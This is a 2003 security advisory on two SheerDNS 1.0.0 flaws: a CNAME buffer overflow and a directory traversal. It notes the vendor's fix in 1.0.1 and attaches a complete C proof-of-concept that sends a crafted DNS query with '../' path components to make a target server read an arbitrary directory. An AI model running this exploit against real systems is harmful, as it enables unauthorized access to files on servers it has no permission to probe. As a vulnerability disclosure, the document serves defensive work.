From: j at pureftpd.org (Jedi/Sector One)
Subject: Multiple vulnerabilities in SheerDNS


Date    : 04/13/2003
Product : SheerDNS
Author  : Frank Denis <j@...eftpd.org>


   ------------------------[ Product description ]------------------------
     
  SheerDNS was written to be a simple replacement master DNS server that can
be used where atomic updates are required. Because it stores each record in
a small file, updating records does not require the sheerdns process to be
notified or restarted. Each update is immediately available and served as-is. 

  SheerDNS is extremely light-weight, simple, and fast, and written with
security in mind. 

  Home page : http://threading.2038bug.com/sheerdns/


     ------------------------[ Vulnerabilities ]------------------------
  
  Two main vulnerabilities were found in SheerDNS 1.0.0 .
  
 * Buffer overflow in CNAME handling.
 
  There's buffer overflow in the way SheerDNS constructs a reply when
answering a CNAME request. See line 385 of sheerdns.c :

  strcpy ((char *) query, lookup_results[0]);

  query is a 256 bytes buffer on the stack, while lookup_results[0] can be
up to 1024 bytes (see dir.c) .

  Lookup results are read from local files, hopefully created by trusted
processes. However, a second vulnerability can break this.

 * Directory traversal in directory_lookup().
 
  The point in SheerDNS is that data is directly served from files. Thus, a
request for the <type> record of the <zone> zone results in reading a file
whoose location is :

  /var/sheerdns/<zone>/<type>
  
  However, SheerDNS 1.0.0 doesn't sanitize the requested zone.
  
  Using a specially crafted DNS request, an arbitrary directory can be read,
moreover SheerDNS needs root privileges and doesn't chroot.

  The attached proof-of-concept makes it read the /tmp/passwd/ directory.
  
 * If an untrusted user can create files with arbitrary names on a server
running SheerDNS, both vulnerabilities can be combined. SheerDNS can be
forced to read any untrusted file whoose name is "CNAME" and whoose content
will trigger the query[] buffer overflow.


    ------------------------[ Affected versions ]------------------------
    
  Both vulnerabilities have been confirmed on SheerDNS 1.0.0 .
  
  
 ------------------------[ Vendor status and fixes ]------------------------
      
  SheerDNS author Paul Sheer addressed these vulnerabilities the day they
were reported, among with some other problems.

  SheerDNS 1.0.1 is now available for download from the project's main site.
    
-- 
 __  /*-      Frank DENIS (Jedi/Sector One) <j@...Networks.Com>     -*\  __
 \ '/    <a href="http://www.PureFTPd.Org/"> Secure FTP Server </a>    \' /
  \/  <a href="http://www.Jedi.Claranet.Fr/"> Misc. free software </a>  \/
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/*
 * SheerDNS 1.0.0 directory traversal POC.
 * Jedi/Sector One <j@...eftpd.org>
 */

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <getopt.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

void fill(char * const msg_, size_t *len)
{
    register char *msg = msg_;
    
    /* ID */
    *msg++ = 2;
    *msg++ = 4;
    
    /* QR/OPCODE/AA/TC/RD/RA/Z */
    *msg++ = 5;
    *msg++ = 0;
    
    /* QDCOUNT */
    *msg++ = 0;
    *msg++ = 1;

    /* ANCOUNT */
    *msg++ = 0;
    *msg++ = 0;

    /* NSCOUNT */
    *msg++ = 0;
    *msg++ = 0;

    /* ARCOUNT */
    *msg++ = 0;
    *msg++ = 0;
    
    /* QUERY */
    
    *msg++ = 3; strcpy(msg, "../"); msg += 3;
    *msg++ = 2; strcpy(msg, "./"); msg += 2;
    *msg++ = 2; strcpy(msg, "./"); msg += 2;
    *msg++ = 2; strcpy(msg, "./"); msg += 2;
    *msg++ = 2; strcpy(msg, "./"); msg += 2;    

    *msg++ = 12; strcpy(msg, "/tmp/passwd"); msg += 11; *msg++ = 0; 
    
    *msg++ = 0;
    
    /* QTYPE */
    *msg++ = 0;
    *msg++ = 1;
    
    /* QCLASS */
    *msg++ = 0;
    *msg++ = 1;
    
    /* FCS */
    *msg++ = 0xc8;
    *msg++ = 0x4c;
    
    /* STOP */
    *msg++ = 0x7e;
    
    *len = (size_t) (msg - msg_);
}

void usage(const char * const prgname)
{
    printf("Usage : %s [-s <source host>] -t <target host>\n",
           prgname);
    exit(0);
}

int main(int argc, char *argv[])
{
    char msg[65500];
    struct addrinfo hints, *res;
    const char *source_host = NULL;
    const char *target_host = NULL;
    size_t len;
    int kindy;
    int fodder;
    
    while ((fodder = getopt(argc, argv, "s:t:")) != -1) {
        switch (fodder) {
        case 's' :
            if ((source_host = strdup(optarg)) == NULL) {
                perror("strdup");
                return 1;
            }
            break;
        case 't' :
            if ((target_host = strdup(optarg)) == NULL) {
                perror("strdup");
                return 1;
            }
            break;
        default :
            usage(argv[0]);
        }
    }
    if (source_host == NULL || target_host == NULL) {
        usage(argv[0]);
    }
    fill(msg, &len);
    memset(&hints, 0, sizeof hints);
    hints.ai_family = AF_UNSPEC;
    hints.ai_addr = NULL;
    if ((fodder = getaddrinfo(source_host, NULL, &hints, &res)) != 0) {
        fprintf(stderr, "getaddrinfo : %s\n", gai_strerror(fodder));
        return 1;
    }    
    if ((kindy = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
        perror("socket");
        return 1;
    }
    if (bind(kindy, (struct sockaddr *) res->ai_addr,
             res->ai_addrlen) != 0) {
        perror("bind");
        return 1;
    }
    memset(&hints, 0, sizeof hints);
    hints.ai_family = AF_UNSPEC;
    hints.ai_addr = NULL;
    if ((fodder = getaddrinfo(target_host, "domain", &hints, &res)) != 0) {
        fprintf(stderr, "getaddrinfo : %s\n", gai_strerror(fodder));
        return 1;
    }
    if (sendto(kindy, msg, len, 0, (const struct sockaddr *) res->ai_addr,
               (socklen_t) res->ai_addrlen) <= (ssize_t) 0) {
        perror("sendto");
        return 1;
    }
    (void) close(kindy);
    
    return 0;
}
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